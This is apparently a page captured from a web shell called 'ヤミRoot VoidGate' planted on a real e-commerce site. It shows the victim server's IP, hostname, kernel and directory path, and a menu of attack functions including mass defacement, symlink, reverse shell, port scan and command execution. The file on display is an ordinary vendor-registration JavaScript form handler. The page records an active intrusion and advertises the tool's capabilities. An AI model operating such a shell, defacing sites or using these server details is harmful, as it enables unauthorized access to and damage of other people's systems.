ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
resources
/
themes
/
theme_aster
/
public
/
assets
/
js
/
Viewing: vendor-registration.js
'use strict'; $(document).ready(function () { $('.proceed-to-next-btn').click(function () { let email = $('#email').val(); let phone = $('.phone-input-with-country-picker').val(); let password = $('#password').val(); let confirmPassword = $('#confirm_password').val(); let emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; let getErrorMessages = $('#proceed-to-next-validation-message'); if (email === '') { $('.mail-error').html(getErrorMessages.data('mail-error')); return; } else { $('.mail-error').html(''); } if (!emailPattern.test(email)) { $('.mail-error').html(getErrorMessages.data('valid-mail')); return; } else { $('.mail-error').html(''); } if (phone === '') { $('.phone-error').html(getErrorMessages.data('phone-error')); return; } else { $('.phone-error').html(''); } if (password === '') { $('.password-error').html(getErrorMessages.data('enter-password')); return; } else { $('.password-error').html(''); } if (confirmPassword === '') { $('.confirm_password-error').html(getErrorMessages.data('enter-confirm-password')); return; } else { $('.confirm_password-error').html(''); } if (password.trim() !== confirmPassword.trim()) { $('.confirm_password-error').html(getErrorMessages.data('password-not-match')); return; } else { $('.confirm_password-error').html(''); } $('.first-el').fadeOut(300); $('.second-el').fadeIn(300); }); }); $('.back-to-main-page').on('click', function () { $('.first-el').fadeIn(300); $('.second-el').fadeOut(300); }); function submitRegistration() { let getText = $('#get-confirm-and-cancel-button-text'); const getFormId = 'seller-registration'; Swal.fire({ title: getText.data('sure'), text: getText.data('message'), type: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', cancelButtonText: getText.data('cancel'), confirmButtonText: getText.data('confirm'), reverseButtons: true }).then((result) => { if (result.value) { let formData = new FormData(document.getElementById(getFormId)); $.ajaxSetup({ headers: { 'X-XSRF-TOKEN': $('meta[name="csrf-token"]').attr('content') } }); $.post({ url: $('#' + getFormId).attr('action'), data: formData, contentType: false, processData: false, beforeSend: function () { $("#loading").addClass("d-grid"); }, success: function (data) { if (data.errors) { for (let index = 0; index < data.errors.length; index++) { toastr.error(data.errors[index].message, { CloseButton: true, ProgressBar: true }); } } else if (data.error) { toastr.error(data.error, { CloseButton: true, ProgressBar: true }); } else { $('.registration-success-modal').modal('show'); setTimeout(function () { location.href = data.redirectRoute; }, 2000); } }, error: function (xhr) { if (xhr.status === 422) { const errors = xhr.responseJSON?.errors; if (errors) { Object.keys(errors).forEach(function (key) { toastr.error(errors[key][0]); }); } else if (xhr.responseJSON?.error) { toastr.error(xhr.responseJSON.error); } else if (xhr.responseJSON?.message) { toastr.error(xhr.responseJSON.message); } } else { const errorMessage = xhr.responseJSON?.error || xhr.responseJSON?.message || 'Something went wrong!'; toastr.error(errorMessage); } }, complete: function () { $("#loading").removeClass("d-grid"); }, }) } }) } $('#terms-checkbox').on('click', function () { if ($(this).is(':checked')) { $('#vendor-apply-submit').removeClass('disabled') } else { $('#vendor-apply-submit').addClass('disabled') } })
Coded With 💗 by
0x6ick